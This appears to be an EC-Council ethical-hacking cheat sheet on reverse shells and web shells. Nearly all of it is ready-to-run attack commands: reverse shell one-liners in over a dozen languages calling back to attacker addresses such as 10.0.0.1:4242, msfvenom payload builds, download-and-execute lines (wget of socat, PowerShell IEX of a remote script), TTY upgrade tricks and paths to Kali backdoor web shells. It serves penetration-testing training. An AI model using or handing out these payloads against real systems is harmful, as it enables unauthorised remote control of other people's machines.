Ethical Hacking and Countermeasures

Reverse Shells and Web Shells Cheat Sheet

EC-Council
Building A Culture Of Security

Reverse shell is a type of shell using which attackers exploit the target system remotely. It is also known as connect back shell. The attacker system receives the connection with the target system by listener port which is in attacker system and executed by code or command. With this the attacker gains full access to the operating system and can also gain access to NAT or firewall remotely and exploit the target system or network maliciously. Web shell is a threat or malicious script which is a web-based implementation of the shell concept.

Starting listener

For Linux:

```
nc -vv -l -p 1337
```

on a Mac running OSX or MacOS:

```
nc -l 1337
```

Bash TCP Reverse Shell

```
1)    exec /bin/bash 0&0 2>&0
2)  0<&196;exec 196<>/dev/tcp/Target IP/80; sh <&196 >&196 2>&196
3)  exec 5<>/dev/tcp/Target-IP/80
4)  cat <&5 | while read line; do $line 2>&5 >&5; done
5)  # or:
6)  while read line 0<&5; do $line 2>&5 >&5; done
7)  bash -i >& /dev/tcp/Target-IP/8080>&1
```

Bash UDP Reverse Shell

Victim:

```
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
```

Listener:

```
nc -u -lvp 4242
```

Socat Reverse shell

```
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242

user@victim$ /tmp/socat exec:'bash
 -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

user@victim$ wget -q
https://github.com/andrew-d/static-binaries/raw/master/binaries/linu
x/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat
exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 socat
tcp-connect:192.168.0.5:4444 system:/bin/sh
```

PHP Reverse Shell:

```
1)php -r '$sock=fsockopen("Target IP",80);exec("/bin/sh -i <&3 >&3
2>&3");'

2)php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh
-i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
```

Netcat Reverse Shell:

```
1)nc -e /bin/sh Target-IP80
2)  /bin/sh | nc Target-IP80
3)  rm -f /tmp/p; mknod /tmp/p p && nc Target-IP4444 0/tmp/p
4)  nc -e /bin/bash Target IP 4242
5)nc -c bash Target IP 4242
```

Netcat OpenBsd Reverse shell

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242
>/tmp/f
```

Ncat Reverse shell

```
1)ncat 10.0.0.1 4242 -e /bin/bash
2)  ncat --exec cmd.exe --allow 192.168.1.101 -vnl 5555 --ssl
3)  ncat --udp 10.0.0.1 4242 -e /bin/bash
4)  ncat -v 192.168.1.103 5555 -ssl
```

OpenSSL Reverse shell

```
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem
-out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem
-port 4242
Or
user@attack$ ncat --ssl -vv -l -p 4242
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl
s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
```

Powershell

```
1)powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object
System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object
-TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =
$sendback + "PS " + (pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte
,0,$sendbyte.Length);$stream.Flush()};$client.Close()

2)  powershell -nop -c "$client = New-Object
System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object
-TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =
$sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte
,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

3)  powershell IEX (New-Object
Net.WebClient).DownloadString('https://gist.githubusercontent.com/sta
aldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895e
cf9ab9dafe253ad4/mini-reverse.ps1')
```

Telnet Reverse Shell

```
1)rm -f /tmp/p; mknod /tmp/p p && telnet Target-IP80 0/tmp/p
2)telnet Target-IP80 | /bin/bash | telnet Target-IP443
```

Perl Reverse Shell

```
perl -e 'use Socket;$i="Target
IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(
connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">&S");open(S
TDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Perl Windows Reverse Shell

```
1)perl -MIO -e '$c=new
IO::Socket::INET(PeerAddr,"Target-IP:80");STDIN->fdopen($c,r);$~->fdo
pen($c,w);system$_ while<>;'

2)  perl -e 'use
Socket;$i="Target-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotoby
name("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,
">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Ruby Reverse Shell

```
1)ruby -rsocket -e'f=TCPSocket.open("Target-IP",80).to_i;exec
sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

2)  ruby -rsocket -e 'exit if
fork;c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd
,"r"){|io|c.print io.read}end'

3)  ruby -rsocket -e
'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r")
{|io|c.print io.read}end'
```

Java Reverse Shell

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/Target-IP/80;cat <&5 |
while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

WAR Reverse shell

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f
war > reverse.war

strings reverse.war | grep jsp # in order to get the name of the
file
```

Lua Reverse shell

```
Linux Only
lua -e
"require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4
242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Windows and Linux
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket =
require("socket") local tcp = socket.tcp() local io =
require("io") tcp:connect(host, port); while true do local cmd,
status, partial = tcp:receive() local f = io.popen(cmd, "r") local
s = f:read("*a") f:close() tcp:send(s) if status == "closed" then
break end end tcp:close()'
```

NodeJS Reverse shell

```
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
```

Groovy Reverse shell

```
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new
ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream
pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){wh
ile(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.wri
te(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.
flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception
e){};p.destroy();s.close();
```

Meterpreter Shell

Windows staged reverse TCP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1
LPORT=4242 -f exe > reverse.exe
```

Windows stageless reverse TCP

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f
exe > reverse.exe
```

Linux Staged reverse TCP

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1
LPORT=4242 -f elf >reverse.elf
```

Linux Stageless reverse TCP

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242
-f elf >reverse.elf
```

Other platforms

```
1)$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1"
LPORT=4242 -f elf > shell.elf

2) $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1"
LPORT=4242 -f exe > shell.exe

3) $ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1"
LPORT=4242 -f macho > shell.macho

4) $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1"
LPORT=4242 -f asp > shell.asp

5) $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1"
LPORT=4242 -f raw > shell.jsp

6) $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1"
LPORT=4242 -f war > shell.war

7) $ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1"
LPORT=4242 -f raw > shell.py

8) $ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242
-f raw > shell.sh

9) $ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242
-f raw > shell.pl

10) $ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1"
LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo
'<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```

Spawn TTY Shell

```
1)rlwrap nc 10.0.0.1 4242

2) rlwrap -r -f . nc 10.0.0.1 4242

-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.

3)ctrl+z
echo $TERM && tput lines && tput cols

4)# for bash
stty raw -echo
fg

5)# for zsh
stty raw -echo; fg
6) reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

7) socat file:`tty`,raw,echo=0 tcp-listen:12345

8) /bin/sh -i
python -c 'import pty; pty.spawn("/bin/sh")'
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
• vi: :!bash
• vi: :set shell=/bin/bash:shell
• nmap: !sh
• mysql: ! bash
```

Python Reverse Shell

1)Linux only
IPv4:

```
o export RHOST="10.0.0.1";export RPORT=4242;python -c 'import
sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int
(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in
(0,1,2)];pty.spawn("/bin/sh")'
o           python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STR
EAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("/bin/bash")'
```

IPv6

```
o python -c 'import
socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOC
K_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),
0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
o python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STR
EAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

2) Windows only

```
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib:
[[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(),
[[(p2s_thread.start(), (lambda __out: (lambda __ctx:
[__ctx.__enter__(), __ctx.__exit__(None, None, None),
__out[0](lambda: None)][2])(__contextlib.nested(type('except', (),
{'__enter__': lambda self: None, '__exit__': lambda __self,
__exctype, __value, __traceback: __exctype is not None and
(issubclass(__exctype, KeyboardInterrupt) and [True for __out[0]
in [((s.close(), lambda after: after())[1])][0]))(), type('try', (),
{'__enter__': lambda self: None, '__exit__': lambda __self,
__exctype, __value, __traceback: [False for __out[0] in
[((p.wait(), (lambda __after: __after()))[1])][0]})())))([None]))[1] for
p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in
[(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for
s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in
[(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in
[(subprocess.Popen(['\\windows\\system32\\cmd.exe'],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
stdin=subprocess.PIPE))]][0])[1] for __g['s'] in
[(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for
__g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda
__after: __y(lambda __this: lambda:
(__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else
__after()))())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}),
'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda
__l: [(lambda __after: __y(lambda __this: lambda: [(lambda
__after: (__l['p'].stdin.write(__l['data']), __after())[1] if
(len(__l['data']) > 0) else __after())(lambda: __this()) for
__l['data'] in [(__l['s'].recv(1024))]][0] if True else
__after()))())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}),
's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for
__g['socket'] in [(__import__('socket', __g, __g))]][0] for
__g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for
__g['threading'] in [(__import__('threading', __g,
__g))]][0])(lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))),
globals(), __import__('contextlib'))"
```

AWK Reverse shell

```
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf
"shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0)
print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
/dev/null
```

Golang Reverse shell

```
echo 'package main;import"os/exec";import"net";func
main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;c
md.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```

Gawk Reverse Shell

```
#!/usr/bin/gawk -f
BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "
        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}
```

Xterm Reverse shell

Xterm command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

```
1)xterm -display 192.168.0.5:4444
2) Xnest :1
3)xhost +targetip
```

Kali Web Shells

Kali Web Shells are only useful if you can upload, inject or transfer the shell to the machine

Kali PHP Web Shells

Commands	Description
`/usr/share/webshells/php/php-reverse-shell.php`	PHP Reverse Shell.
`/usr/share/webshells/php/php-findsock-shell.php` `/usr/share/webshells/php/findsock.c`	Build gcc -o findsock findsock.c , execute with netcat not a browser nc -v target 80.
`/usr/share/webshells/php/simple-backdoor.php`	PHP backdoor, useful for CMD execution if upload / code injection is possible.
`/usr/share/webshells/php/php-backdoor.php`	Larger PHP shell, with a text input box for command execution.

Kali Perl Reverse Shell

Commands	Description
`/usr/share/webshells/perl/perl-reverse-shell.pl`	Perl Reverse Shell
`/usr/share/webshells/perl/perlcmd.cgi`	Perl Shell Usage: http://target.com/perlcmd.cgi?cat /etc/passwd

Kali Cold Fusion Shell

Commands	Description
`/usr/share/webshells/cfm/cfexec.cfm`	Cold Fusion Shell

Kali ASP Shell

Commands	Description
`/usr/share/webshells/asp/`	Kali ASP Shells

Kali ASPX Shells

Commands	Description
`/usr/share/webshells/aspx/`	Kali ASPX Shells

Kali JSP Reverse Shell

Commands	Description
`/usr/share/webshells/jsp/jsp-reverse.jsp`	Kali JSP Reverse Shell